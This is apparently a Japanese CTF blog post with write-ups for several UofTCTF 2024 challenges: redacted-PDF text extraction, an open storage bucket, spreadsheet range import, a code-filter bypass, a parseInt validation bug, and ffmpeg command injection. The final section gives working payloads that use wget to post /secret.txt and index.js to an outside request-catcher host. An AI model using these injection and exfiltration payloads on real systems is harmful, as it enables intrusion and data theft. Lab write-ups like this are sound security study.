はまやんはまやんはまやん

hamayanhamayan's blog

UofTCTF 2024 Writeups

[Forensics] Secret Message 1

We swiped a top-secret file from the vaults of a very secret organization, but all the juicy details are craftily concealed. Can you help me uncover them?
Author: SteakEnthusiast

secret.pdfというファイルが与えられる。
実際に開いてみると黒塗りの部分があったので、pdf2txt.pyでテキスト持ってきてみた。
フラグが得られる。

$ pdf2txt.py secret.pdf 
WARNING:pdfminer.pdfpage:The PDF <_io.BufferedReader name='secret.pdf'> contains a metadata field indicating that it should not allow text extraction. Ignoring this field and proceeding. Use the check_extractable if you want to raise an error in this case
Confidential DocumentTRANSCRIPT: A Very Private ConversationPerson 1: "So, have you reviewed the latest security measures?"Person 2: "I have. The team's done a thorough job this time."Person 1: "Especially after the last breach, we couldn't take any chances."Person 2: "Absolutely. The new encryption protocols should prevent similar incidents."Person 1: "What about the insider threat? Any measures against that?"Person 2: "Yes, they've implemented strict access controls and regular audits."Person 1: "Good to hear. By the way, how's the CTF challenge coming along?"Person 2: "Oh, it's going great. We've got some tricky puzzles this time."Person 1: "Just make sure the flag is well-protected. We don't want a repeat of last time."Person 2: "Definitely not. The flag 'uoftctf{■■■■■■■■■■■■■■■■■■■■■■■■■■■}' is securelyembedded."Person 1: "Great. But remember, that's between us."Person 2: "Of course. Confidentiality is key in these matters."Person 1: "Alright, I trust your discretion. Let's keep it under wraps."Person 2: "Agreed. We'll debrief the team about general security, but specifics stay with us."Person 1: "Sounds like a plan. Let's meet next week for another update."Person 2: "Will do. Take care until then."

[Misc] Out of the Bucket

Check out my flag website!
Author: windex

https://storage.googleapis.com/out-of-the-bucket/に行ってみるとディレクトリリスティングされてくる。
`https://storage.googleapis.com/out-of-the-bucket/secret/dont_showに行くとフラグが書いてある。

[web] Guestbook

I made this cool guestbook for the CTF. Please sign it.
Author: Ido

index.htmlが配布されていて、URLは無い。
中身を見るとGoogleのGASと通信している。
sheetidが得られる sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ
Google Spreadsheetで開いてみるとReadonlyで見れた。
https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit
UofTCTF{n1c3try_Bu1_k33p_g0in9}ということでここがゴールではないようだ。

「データ > シートと範囲を保護」を見てみると保護されている領域があるみたい。
外部から読み取ることで見てみよう。
新しいGoogle Spreadsheetを作成して、以下のようにやって読み込む。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit","raw!A1:ZZ100")
すると、フラグが出てくる。

[web] No Code

I made a web app that lets you run any code you want. Just kidding!
Author: SteakEnthusiast

app.pyが配布されている。
pyjailっぽい問題。

if re.match(".*[\x20-\x7E]+.*", code):
    return jsonify({"output": "jk lmao no code"}), 403

以上の正規表現にマッチすると動かない。
[\x20-\x7E]は印字可能文字全てなのでちょっときつい。
色々試すと改行でbypassできた。

code=%0d%0a__import__('os').listdir(path%3d'.')とすると
{"output":["app.py","requirements.txt","flag.txt"]}と来た。
ok.
code=%0d%0aopen('flag.txt').read()でフラグ獲得。

[web The Varsity

Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.
Author: SteakEnthusiast

ソースコード
issueの閲覧サイト。フラグの書かれているNo.9のissueを見るにはpremium登録をする必要があるが、登録には秘密のバウチャーを持っている必要があった。
JWTが使われていたのでJWTの偽装かと思ったが、そちらは攻撃ができず、以下のpremiumの確認手順のロジックバグを突くのが正答だった。
以下のようにチェックが行われている。

let issue = req.body.issue;

if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}

if (decoded.subscription !== "premium" && issue >= 9) {
return res
    .status(403)
    .json({ message: "Please subscribe to access this issue" });
}

issue = parseInt(issue);

if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}

return res.json(articles[issue]);

decoded.subscription !== "premium"は偽装できないのでtrueとなるので、何とかしてissueの判定を潜り抜けて最終的にreturnでissue=9になっている必要がある。
重要な部分がissue = parseInt(issue);の位置で、一部のバリデーションをした後に値が変更されている。
いつものバリデーションしたけど無駄になりましたパターン。
parseIntされているということは元々は文字列なので、文字列の状態で0 <= issue && issue < 9がtrueになるが、parseIntを通すと9になる入力を探せばいい。
で、実験しながら適当に試すと、9.-1で条件を満たすことができた。
正直理由はさっぱり分からないが{"issue":"9.-1"}とするとフラグが得られる。

[web] Voice Changer

I made a cool app that changes your voice.
Author: Ido

ソースコード無し。
録音データをアップロードできるサイトが与えられる。
アップロード時に以下のようなbodyでPOSTリクエストが走る。

------WebKitFormBoundaryo1AplHjo8AAgnPJH
Content-Disposition: form-data; name="pitch"

1
------WebKitFormBoundaryo1AplHjo8AAgnPJH
Content-Disposition: form-data; name="input-file"; filename="recording.ogg"
Content-Type: audio/ogg

EߣBB÷BòBóBwebmBB

で、応答として、ffmpegのコマンドとその出力が与えられる。
コマンドインジェクション感があるので、実験すると、pitchの方でコマンドインジェクションできそうなことが分かる。
試しに`sleep 3`を入れてみるとスリープが入った。ok.

出力はもらえなさそうなので、別の方法で結果を得ることにする。

`wget https://[yours].requestcatcher.com/test`

wgetでリクエストが確認できた。ok.以下でファイルを持って来ることもできる。

`wget https://[yours].requestcatcher.com/test --post-file=index.js`

以下でフラグ獲得

`cat /secret.txt | wget https://sfdjfi23fksadfji23r.requestcatcher.com/test --post-file=-`